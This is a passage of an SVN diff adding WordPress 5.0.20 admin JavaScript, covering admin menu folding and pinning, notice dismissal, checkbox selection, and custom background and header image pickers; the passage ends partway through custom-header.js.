+		$( '#custom_selection_updated' ).text( textToAnnounce );
+
+		// Disable button.
+		changeStructureTagButtonState( $( this ) );
+
+		return;
+	}
+
+	// Input field never had focus, move selection to end of input.
+	if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
+		selectionStart = selectionEnd = permalinkStructureValue.length;
+	}
+
+	$permalinkCustomSelection.prop( 'checked', true );
+
+	// Prepend and append slashes if necessary.
+	if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
+		textToAppend = '/' + textToAppend;
+	}
+
+	if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
+		textToAppend = textToAppend + '/';
+	}
+
+	// Insert structure tag at the specified position.
+	$permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );
+
+	// Announce change to screen readers.
+	$( '#custom_selection_updated' ).text( textToAnnounce );
+
+	// Disable button.
+	changeStructureTagButtonState( $( this ) );
+
+	// If input had focus give it back with cursor right after appended text.
+	if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
+		newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
+		$permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
+		$permalinkStructure.focus();
+	}
+} );
+
+$document.ready( function() {
+	var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
+		lastClicked = false,
+		pageInput = $('input.current-page'),
+		currentPage = pageInput.val(),
+		isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
+		isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
+		isIE8 = $( document.documentElement ).hasClass( 'ie8' ),
+		$adminMenuWrap = $( '#adminmenuwrap' ),
+		$wpwrap = $( '#wpwrap' ),
+		$adminmenu = $( '#adminmenu' ),
+		$overlay = $( '#wp-responsive-overlay' ),
+		$toolbar = $( '#wp-toolbar' ),
+		$toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
+		$sortables = $('.meta-box-sortables'),
+		wpResponsiveActive = false,
+		$adminbar = $( '#wpadminbar' ),
+		lastScrollPosition = 0,
+		pinnedMenuTop = false,
+		pinnedMenuBottom = false,
+		menuTop = 0,
+		menuState,
+		menuIsPinned = false,
+		height = {
+			window: $window.height(),
+			wpwrap: $wpwrap.height(),
+			adminbar: $adminbar.height(),
+			menu: $adminMenuWrap.height()
+		},
+		$headerEnd = $( '.wp-header-end' );
+
+
+	// when the menu is folded, make the fly-out submenu header clickable
+	$adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
+		$(e.target).parent().siblings('a').get(0).click();
+	});
+
+	$( '#collapse-button' ).on( 'click.collapse-menu', function() {
+		var viewportWidth = getViewportWidth() || 961;
+
+		// reset any compensation for submenus near the bottom of the screen
+		$('#adminmenu div.wp-submenu').css('margin-top', '');
+
+		if ( viewportWidth < 960 ) {
+			if ( $body.hasClass('auto-fold') ) {
+				$body.removeClass('auto-fold').removeClass('folded');
+				setUserSetting('unfold', 1);
+				setUserSetting('mfold', 'o');
+				menuState = 'open';
+			} else {
+				$body.addClass('auto-fold');
+				setUserSetting('unfold', 0);
+				menuState = 'folded';
+			}
+		} else {
+			if ( $body.hasClass('folded') ) {
+				$body.removeClass('folded');
+				setUserSetting('mfold', 'o');
+				menuState = 'open';
+			} else {
+				$body.addClass('folded');
+				setUserSetting('mfold', 'f');
+				menuState = 'folded';
+			}
+		}
+
+		$document.trigger( 'wp-collapse-menu', { state: menuState } );
+	});
+
+	// Handle the `aria-haspopup` attribute on the current menu item when it has a sub-menu.
+	function currentMenuItemHasPopup() {
+		var $current = $( 'a.wp-has-current-submenu' );
+
+		if ( 'folded' === menuState ) {
+			// When folded or auto-folded and not responsive view, the current menu item does have a fly-out sub-menu.
+			$current.attr( 'aria-haspopup', 'true' );
+		} else {
+			// When expanded or in responsive view, reset aria-haspopup.
+			$current.attr( 'aria-haspopup', 'false' );
+		}
+	}
+
+	$document.on( 'wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate', currentMenuItemHasPopup );
+
+	/**
+	 * Ensure an admin submenu is within the visual viewport.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {jQuery} $menuItem The parent menu item containing the submenu.
+	 */
+	function adjustSubmenu( $menuItem ) {
+		var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
+			$submenu = $menuItem.find( '.wp-submenu' );
+
+		menutop = $menuItem.offset().top;
+		wintop = $window.scrollTop();
+		maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar
+
+		bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu
+		pageHeight = $wpwrap.height(); // Height of the entire page
+		adjustment = 60 + bottomOffset - pageHeight;
+		theFold = $window.height() + wintop - 50; // The fold
+
+		if ( theFold < ( bottomOffset - adjustment ) ) {
+			adjustment = bottomOffset - theFold;
+		}
+
+		if ( adjustment > maxtop ) {
+			adjustment = maxtop;
+		}
+
+		if ( adjustment > 1 ) {
+			$submenu.css( 'margin-top', '-' + adjustment + 'px' );
+		} else {
+			$submenu.css( 'margin-top', '' );
+		}
+	}
+
+	if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // touch screen device
+		// iOS Safari works with touchstart, the rest work with click
+		mobileEvent = isIOS ? 'touchstart' : 'click';
+
+		// close any open submenus when touch/click is not on the menu
+		$body.on( mobileEvent+'.wp-mobile-hover', function(e) {
+			if ( $adminmenu.data('wp-responsive') ) {
+				return;
+			}
+
+			if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+			}
+		});
+
+		$adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
+			var $menuItem = $(this).parent();
+
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				return;
+			}
+
+			// Show the sub instead of following the link if:
+			//	- the submenu is not open
+			//	- the submenu is not shown inline or the menu is not folded
+			if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
+				event.preventDefault();
+				adjustSubmenu( $menuItem );
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+				$menuItem.addClass('opensub');
+			}
+		});
+	}
+
+	if ( ! isIOS && ! isAndroid ) {
+		$adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({
+			over: function() {
+				var $menuItem = $( this ),
+					$submenu = $menuItem.find( '.wp-submenu' ),
+					top = parseInt( $submenu.css( 'top' ), 10 );
+
+				if ( isNaN( top ) || top > -5 ) { // the submenu is visible
+					return;
+				}
+
+				if ( $adminmenu.data( 'wp-responsive' ) ) {
+					// The menu is in responsive mode, bail
+					return;
+				}
+
+				adjustSubmenu( $menuItem );
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+				$menuItem.addClass( 'opensub' );
+			},
+			out: function(){
+				if ( $adminmenu.data( 'wp-responsive' ) ) {
+					// The menu is in responsive mode, bail
+					return;
+				}
+
+				$( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
+			},
+			timeout: 200,
+			sensitivity: 7,
+			interval: 90
+		});
+
+		$adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				// The menu is in responsive mode, bail
+				return;
+			}
+
+			$( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );
+		}).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				return;
+			}
+
+			$( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );
+		}).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
+			adjustSubmenu( $( this ) );
+		});
+	}
+
+	/*
+	 * The `.below-h2` class is here just for backward compatibility with plugins
+	 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
+	 * If '.wp-header-end' is found, append the notices after it otherwise
+	 * after the first h1 or h2 heading found within the main content.
+	 */
+	if ( ! $headerEnd.length ) {
+		$headerEnd = $( '.wrap h1, .wrap h2' ).first();
+	}
+	$( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );
+
+	// Make notices dismissible
+	function makeNoticesDismissible() {
+		$( '.notice.is-dismissible' ).each( function() {
+			var $el = $( this ),
+				$button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' ),
+				btnText = commonL10n.dismiss || '';
+
+			// Ensure plain text
+			$button.find( '.screen-reader-text' ).text( btnText );
+			$button.on( 'click.wp-dismiss-notice', function( event ) {
+				event.preventDefault();
+				$el.fadeTo( 100, 0, function() {
+					$el.slideUp( 100, function() {
+						$el.remove();
+					});
+				});
+			});
+
+			$el.append( $button );
+		});
+	}
+
+	$document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error', makeNoticesDismissible );
+
+	// Init screen meta
+	screenMeta.init();
+
+	// This event needs to be delegated. Ticket #37973.
+	$body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
+		// Shift click to select a range of checkboxes.
+		if ( 'undefined' == event.shiftKey ) { return true; }
+		if ( event.shiftKey ) {
+			if ( !lastClicked ) { return true; }
+			checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
+			first = checks.index( lastClicked );
+			last = checks.index( this );
+			checked = $(this).prop('checked');
+			if ( 0 < first && 0 < last && first != last ) {
+				sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
+				sliced.prop( 'checked', function() {
+					if ( $(this).closest('tr').is(':visible') )
+						return checked;
+
+					return false;
+				});
+			}
+		}
+		lastClicked = this;
+
+		// Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
+		var unchecked = $(this).closest('tbody').find(':checkbox').filter(':visible:enabled').not(':checked');
+		$(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
+			return ( 0 === unchecked.length );
+		});
+
+		return true;
+	});
+
+	// This event needs to be delegated. Ticket #37973.
+	$body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
+		var $this = $(this),
+			$table = $this.closest( 'table' ),
+			controlChecked = $this.prop('checked'),
+			toggle = event.shiftKey || $this.data('wp-toggle');
+
+		$table.children( 'tbody' ).filter(':visible')
+			.children().children('.check-column').find(':checkbox')
+			.prop('checked', function() {
+				if ( $(this).is(':hidden,:disabled') ) {
+					return false;
+				}
+
+				if ( toggle ) {
+					return ! $(this).prop( 'checked' );
+				} else if ( controlChecked ) {
+					return true;
+				}
+
+				return false;
+			});
+
+		$table.children('thead,  tfoot').filter(':visible')
+			.children().children('.check-column').find(':checkbox')
+			.prop('checked', function() {
+				if ( toggle ) {
+					return false;
+				} else if ( controlChecked ) {
+					return true;
+				}
+
+				return false;
+			});
+	});
+
+	// Show row actions on keyboard focus of its parent container element or any other elements contained within
+	$( '#wpbody-content' ).on({
+		focusin: function() {
+			clearTimeout( transitionTimeout );
+			focusedRowActions = $( this ).find( '.row-actions' );
+			// transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
+			$( '.row-actions' ).not( this ).removeClass( 'visible' );
+			focusedRowActions.addClass( 'visible' );
+		},
+		focusout: function() {
+			// Tabbing between post title and .row-actions links needs a brief pause, otherwise
+			// the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
+			transitionTimeout = setTimeout( function() {
+				focusedRowActions.removeClass( 'visible' );
+			}, 30 );
+		}
+	}, '.has-row-actions' );
+
+	// Toggle list table rows on small screens
+	$( 'tbody' ).on( 'click', '.toggle-row', function() {
+		$( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
+	});
+
+	$('#default-password-nag-no').click( function() {
+		setUserSetting('default_password_nag', 'hide');
+		$('div.default-password-nag').hide();
+		return false;
+	});
+
+	// tab in textareas
+	$('#newcontent').bind('keydown.wpevent_InsertTab', function(e) {
+		var el = e.target, selStart, selEnd, val, scroll, sel;
+
+		if ( e.keyCode == 27 ) { // escape key
+			// when pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them
+			e.preventDefault();
+			$(el).data('tab-out', true);
+			return;
+		}
+
+		if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey ) // tab key
+			return;
+
+		if ( $(el).data('tab-out') ) {
+			$(el).data('tab-out', false);
+			return;
+		}
+
+		selStart = el.selectionStart;
+		selEnd = el.selectionEnd;
+		val = el.value;
+
+		if ( document.selection ) {
+			el.focus();
+			sel = document.selection.createRange();
+			sel.text = '\t';
+		} else if ( selStart >= 0 ) {
+			scroll = this.scrollTop;
+			el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
+			el.selectionStart = el.selectionEnd = selStart + 1;
+			this.scrollTop = scroll;
+		}
+
+		if ( e.stopPropagation )
+			e.stopPropagation();
+		if ( e.preventDefault )
+			e.preventDefault();
+	});
+
+	if ( pageInput.length ) {
+		pageInput.closest('form').submit( function() {
+
+			// Reset paging var for new filters/searches but not for bulk actions. See #17685.
+			if ( $('select[name="action"]').val() == -1 && $('select[name="action2"]').val() == -1 && pageInput.val() == currentPage )
+				pageInput.val('1');
+		});
+	}
+
+	$('.search-box input[type="search"], .search-box input[type="submit"]').mousedown(function () {
+		$('select[name^="action"]').val('-1');
+	});
+
+	// Scroll into view when focused
+	$('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
+		if ( e.target.scrollIntoView )
+			e.target.scrollIntoView(false);
+	});
+
+	// Disable upload buttons until files are selected
+	(function(){
+		var button, input, form = $('form.wp-upload-form');
+		if ( ! form.length )
+			return;
+		button = form.find('input[type="submit"]');
+		input = form.find('input[type="file"]');
+
+		function toggleUploadButton() {
+			button.prop('disabled', '' === input.map( function() {
+				return $(this).val();
+			}).get().join(''));
+		}
+		toggleUploadButton();
+		input.on('change', toggleUploadButton);
+	})();
+
+	function pinMenu( event ) {
+		var windowPos = $window.scrollTop(),
+			resizing = ! event || event.type !== 'scroll';
+
+		if ( isIOS || isIE8 || $adminmenu.data( 'wp-responsive' ) ) {
+			return;
+		}
+
+		if ( height.menu + height.adminbar < height.window ||
+			height.menu + height.adminbar + 20 > height.wpwrap ) {
+			unpinMenu();
+			return;
+		}
+
+		menuIsPinned = true;
+
+		if ( height.menu + height.adminbar > height.window ) {
+			// Check for overscrolling
+			if ( windowPos < 0 ) {
+				if ( ! pinnedMenuTop ) {
+					pinnedMenuTop = true;
+					pinnedMenuBottom = false;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: ''
+					});
+				}
+
+				return;
+			} else if ( windowPos + height.window > $document.height() - 1 ) {
+				if ( ! pinnedMenuBottom ) {
+					pinnedMenuBottom = true;
+					pinnedMenuTop = false;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: 0
+					});
+				}
+
+				return;
+			}
+
+			if ( windowPos > lastScrollPosition ) {
+				// Scrolling down
+				if ( pinnedMenuTop ) {
+					// let it scroll
+					pinnedMenuTop = false;
+					menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );
+
+					if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
+						menuTop = windowPos + height.window - height.menu - height.adminbar;
+					}
+
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
+					// pin the bottom
+					pinnedMenuBottom = true;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: 0
+					});
+				}
+			} else if ( windowPos < lastScrollPosition ) {
+				// Scrolling up
+				if ( pinnedMenuBottom ) {
+					// let it scroll
+					pinnedMenuBottom = false;
+					menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );
+
+					if ( menuTop + height.menu > windowPos + height.window ) {
+						menuTop = windowPos;
+					}
+
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {
+					// pin the top
+					pinnedMenuTop = true;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: ''
+					});
+				}
+			} else if ( resizing ) {
+				// Resizing
+				pinnedMenuTop = pinnedMenuBottom = false;
+				menuTop = windowPos + height.window - height.menu - height.adminbar - 1;
+
+				if ( menuTop > 0 ) {
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else {
+					unpinMenu();
+				}
+			}
+		}
+
+		lastScrollPosition = windowPos;
+	}
+
+	function resetHeights() {
+		height = {
+			window: $window.height(),
+			wpwrap: $wpwrap.height(),
+			adminbar: $adminbar.height(),
+			menu: $adminMenuWrap.height()
+		};
+	}
+
+	function unpinMenu() {
+		if ( isIOS || ! menuIsPinned ) {
+			return;
+		}
+
+		pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
+		$adminMenuWrap.css({
+			position: '',
+			top: '',
+			bottom: ''
+		});
+	}
+
+	function setPinMenu() {
+		resetHeights();
+
+		if ( $adminmenu.data('wp-responsive') ) {
+			$body.removeClass( 'sticky-menu' );
+			unpinMenu();
+		} else if ( height.menu + height.adminbar > height.window ) {
+			pinMenu();
+			$body.removeClass( 'sticky-menu' );
+		} else {
+			$body.addClass( 'sticky-menu' );
+			unpinMenu();
+		}
+	}
+
+	if ( ! isIOS ) {
+		$window.on( 'scroll.pin-menu', pinMenu );
+		$document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
+			editor.on( 'wp-autoresize', resetHeights );
+		});
+	}
+
+	window.wpResponsive = {
+		init: function() {
+			var self = this;
+
+			// Modify functionality based on custom activate/deactivate event
+			$document.on( 'wp-responsive-activate.wp-responsive', function() {
+				self.activate();
+			}).on( 'wp-responsive-deactivate.wp-responsive', function() {
+				self.deactivate();
+			});
+
+			$( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );
+
+			// Toggle sidebar when toggle is clicked
+			$( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
+				event.preventDefault();
+
+				// close any open toolbar submenus
+				$adminbar.find( '.hover' ).removeClass( 'hover' );
+
+				$wpwrap.toggleClass( 'wp-responsive-open' );
+				if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
+					$(this).find('a').attr( 'aria-expanded', 'true' );
+					$( '#adminmenu a:first' ).focus();
+				} else {
+					$(this).find('a').attr( 'aria-expanded', 'false' );
+				}
+			} );
+
+			// Add menu events
+			$adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
+				if ( ! $adminmenu.data('wp-responsive') ) {
+					return;
+				}
+
+				$( this ).parent( 'li' ).toggleClass( 'selected' );
+				event.preventDefault();
+			});
+
+			self.trigger();
+			$document.on( 'wp-window-resized.wp-responsive', $.proxy( this.trigger, this ) );
+
+			// This needs to run later as UI Sortable may be initialized later on $(document).ready()
+			$window.on( 'load.wp-responsive', function() {
+				var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;
+
+				if ( width <= 782 ) {
+					self.disableSortables();
+				}
+			});
+		},
+
+		activate: function() {
+			setPinMenu();
+
+			if ( ! $body.hasClass( 'auto-fold' ) ) {
+				$body.addClass( 'auto-fold' );
+			}
+
+			$adminmenu.data( 'wp-responsive', 1 );
+			this.disableSortables();
+		},
+
+		deactivate: function() {
+			setPinMenu();
+			$adminmenu.removeData('wp-responsive');
+			this.enableSortables();
+		},
+
+		trigger: function() {
+			var viewportWidth = getViewportWidth();
+
+			// Exclude IE < 9, it doesn't support @media CSS rules.
+			if ( ! viewportWidth ) {
+				return;
+			}
+
+			if ( viewportWidth <= 782 ) {
+				if ( ! wpResponsiveActive ) {
+					$document.trigger( 'wp-responsive-activate' );
+					wpResponsiveActive = true;
+				}
+			} else {
+				if ( wpResponsiveActive ) {
+					$document.trigger( 'wp-responsive-deactivate' );
+					wpResponsiveActive = false;
+				}
+			}
+
+			if ( viewportWidth <= 480 ) {
+				this.enableOverlay();
+			} else {
+				this.disableOverlay();
+			}
+		},
+
+		enableOverlay: function() {
+			if ( $overlay.length === 0 ) {
+				$overlay = $( '<div id="wp-responsive-overlay"></div>' )
+					.insertAfter( '#wpcontent' )
+					.hide()
+					.on( 'click.wp-responsive', function() {
+						$toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
+						$( this ).hide();
+					});
+			}
+
+			$toolbarPopups.on( 'click.wp-responsive', function() {
+				$overlay.show();
+			});
+		},
+
+		disableOverlay: function() {
+			$toolbarPopups.off( 'click.wp-responsive' );
+			$overlay.hide();
+		},
+
+		disableSortables: function() {
+			if ( $sortables.length ) {
+				try {
+					$sortables.sortable('disable');
+				} catch(e) {}
+			}
+		},
+
+		enableSortables: function() {
+			if ( $sortables.length ) {
+				try {
+					$sortables.sortable('enable');
+				} catch(e) {}
+			}
+		}
+	};
+
+	// Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
+	function aria_button_if_js() {
+		$( '.aria-button-if-js' ).attr( 'role', 'button' );
+	}
+
+	$( document ).ajaxComplete( function() {
+		aria_button_if_js();
+	});
+
+	/**
+	 * @summary Get the viewport width.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns {number|boolean} The current viewport width or false if the
+	 *                           browser doesn't support innerWidth (IE < 9).
+	 */
+	function getViewportWidth() {
+		var viewportWidth = false;
+
+		if ( window.innerWidth ) {
+			// On phones, window.innerWidth is affected by zooming.
+			viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
+		}
+
+		return viewportWidth;
+	}
+
+	/**
+	 * @summary Set the admin menu collapsed/expanded state.
+	 *
+	 * Sets the global variable `menuState` and triggers a custom event passing
+	 * the current menu state.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns {void}
+	 */
+	function setMenuState() {
+		var viewportWidth = getViewportWidth() || 961;
+
+		if ( viewportWidth <= 782  ) {
+			menuState = 'responsive';
+		} else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
+			menuState = 'folded';
+		} else {
+			menuState = 'open';
+		}
+
+		$document.trigger( 'wp-menu-state-set', { state: menuState } );
+	}
+
+	// Set the menu state when the window gets resized.
+	$document.on( 'wp-window-resized.set-menu-state', setMenuState );
+
+	/**
+	 * @summary Set ARIA attributes on the collapse/expand menu button.
+	 *
+	 * When the admin menu is open or folded, updates the `aria-expanded` and
+	 * `aria-label` attributes of the button to give feedback to assistive
+	 * technologies. In the responsive view, the button is always hidden.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns {void}
+	 */
+	$document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
+		var $collapseButton = $( '#collapse-button' ),
+			ariaExpanded = 'true',
+			ariaLabelText = commonL10n.collapseMenu;
+
+		if ( 'folded' === eventData.state ) {
+			ariaExpanded = 'false';
+			ariaLabelText = commonL10n.expandMenu;
+		}
+
+		$collapseButton.attr({
+			'aria-expanded': ariaExpanded,
+			'aria-label': ariaLabelText
+		});
+	});
+
+	window.wpResponsive.init();
+	setPinMenu();
+	setMenuState();
+	currentMenuItemHasPopup();
+	makeNoticesDismissible();
+	aria_button_if_js();
+
+	$document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );
+
+	// Set initial focus on a specific element.
+	$( '.wp-initial-focus' ).focus();
+
+	// Toggle update details on update-core.php.
+	$body.on( 'click', '.js-update-details-toggle', function() {
+		var $updateNotice = $( this ).closest( '.js-update-details' ),
+			$progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );
+
+		/*
+		 * When clicking on "Show details" move the progress div below the update
+		 * notice. Make sure it gets moved just the first time.
+		 */
+		if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
+			$progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
+		}
+
+		// Toggle the progress div visibility.
+		$progressDiv.toggle();
+		// Toggle the Show Details button expanded state.
+		$( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
+	});
+});
+
+// Fire a custom jQuery event at the end of window resize
+( function() {
+	var timeout;
+
+	function triggerEvent() {
+		$document.trigger( 'wp-window-resized' );
+	}
+
+	function fireOnce() {
+		window.clearTimeout( timeout );
+		timeout = window.setTimeout( triggerEvent, 200 );
+	}
+
+	$window.on( 'resize.wp-fire-once', fireOnce );
+}());
+
+// Make Windows 8 devices play along nicely.
+(function(){
+	if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
+		var msViewportStyle = document.createElement( 'style' );
+		msViewportStyle.appendChild(
+			document.createTextNode( '@-ms-viewport{width:auto!important}' )
+		);
+		document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
+	}
+})();
+
+}( jQuery, window ));
Index: /tags/5.0.20/src/wp-admin/js/custom-background.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/custom-background.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/custom-background.js	(revision 56912)
@@ -0,0 +1,143 @@
+/* global ajaxurl */
+
+/**
+ * @summary Registers all events for customizing the background.
+ *
+ * @since 3.0.0
+ *
+ * @requires jQuery
+ */
+(function($) {
+	$(document).ready(function() {
+		var frame,
+			bgImage = $( '#custom-background-image' );
+
+		/**
+		 * @summary Instantiates the WordPress color picker and binds the change and clear events.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {void}
+		 */
+		$('#background-color').wpColorPicker({
+			change: function( event, ui ) {
+				bgImage.css('background-color', ui.color.toString());
+			},
+			clear: function() {
+				bgImage.css('background-color', '');
+			}
+		});
+
+		/**
+		 * @summary Alters the background size CSS property whenever the background size input has changed.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @returns {void}
+		 */
+		$( 'select[name="background-size"]' ).change( function() {
+			bgImage.css( 'background-size', $( this ).val() );
+		});
+
+		/**
+		 * @summary Alters the background position CSS property whenever the background position input has changed.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @returns {void}
+		 */
+		$( 'input[name="background-position"]' ).change( function() {
+			bgImage.css( 'background-position', $( this ).val() );
+		});
+
+		/**
+		 * @summary Alters the background repeat CSS property whenever the background repeat input has changed.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @returns {void}
+		 */
+		$( 'input[name="background-repeat"]' ).change( function() {
+			bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' );
+		});
+
+		/**
+		 * @summary Alters the background attachment CSS property whenever the background attachment input has changed.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @returns {void}
+		 */
+		$( 'input[name="background-attachment"]' ).change( function() {
+			bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' );
+		});
+
+		/**
+		 * @summary Binds the event for opening the WP Media dialog.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {void}
+		 */
+		$('#choose-from-library-link').click( function( event ) {
+			var $el = $(this);
+
+			event.preventDefault();
+
+			// If the media frame already exists, reopen it.
+			if ( frame ) {
+				frame.open();
+				return;
+			}
+
+			// Create the media frame.
+			frame = wp.media.frames.customBackground = wp.media({
+				// Set the title of the modal.
+				title: $el.data('choose'),
+
+				// Tell the modal to show only images.
+				library: {
+					type: 'image'
+				},
+
+				// Customize the submit button.
+				button: {
+					// Set the text of the button.
+					text: $el.data('update'),
+					/*
+					 * Tell the button not to close the modal, since we're
+					 * going to refresh the page when the image is selected.
+					 */
+					close: false
+				}
+			});
+
+			/**
+			 * @summary When an image is selected, run a callback.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @returns {void}
+ 			 */
+			frame.on( 'select', function() {
+				// Grab the selected attachment.
+				var attachment = frame.state().get('selection').first();
+				var nonceValue = $( '#_wpnonce' ).val() || '';
+
+				// Run an AJAX request to set the background image.
+				$.post( ajaxurl, {
+					action: 'set-background-image',
+					attachment_id: attachment.id,
+					_ajax_nonce: nonceValue,
+					size: 'full'
+				}).done( function() {
+					// When the request completes, reload the window.
+					window.location.reload();
+				});
+			});
+
+			// Finally, open the modal.
+			frame.open();
+		});
+	});
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/custom-header.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/custom-header.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/custom-header.js	(revision 56912)
@@ -0,0 +1,61 @@
+/* global isRtl */
+(function($) {
+	var frame;
+
+	$( function() {
+		// Fetch available headers and apply jQuery.masonry
+		// once the images have loaded.
+		var $headers = $('.available-headers');
+
+		$headers.imagesLoaded( function() {
+			$headers.masonry({
+				itemSelector: '.default-header',
+				isRTL: !! ( 'undefined' != typeof isRtl && isRtl )
+			});
+		});
+
+		// Build the choose from library frame.
+		$('#choose-from-library-link').click( function( event ) {
+			var $el = $(this);
+			event.preventDefault();
+
+			// If the media frame already exists, reopen it.
+			if ( frame ) {
+				frame.open();
+				return;
+			}
+
+			// Create the media frame.
+			frame = wp.media.frames.customHeader = wp.media({
+				// Set the title of the modal.
+				title: $el.data('choose'),
+
+				// Tell the modal to show only images.
+				library: {
+					type: 'image'
+				},
+
+				// Customize the submit button.
+				button: {
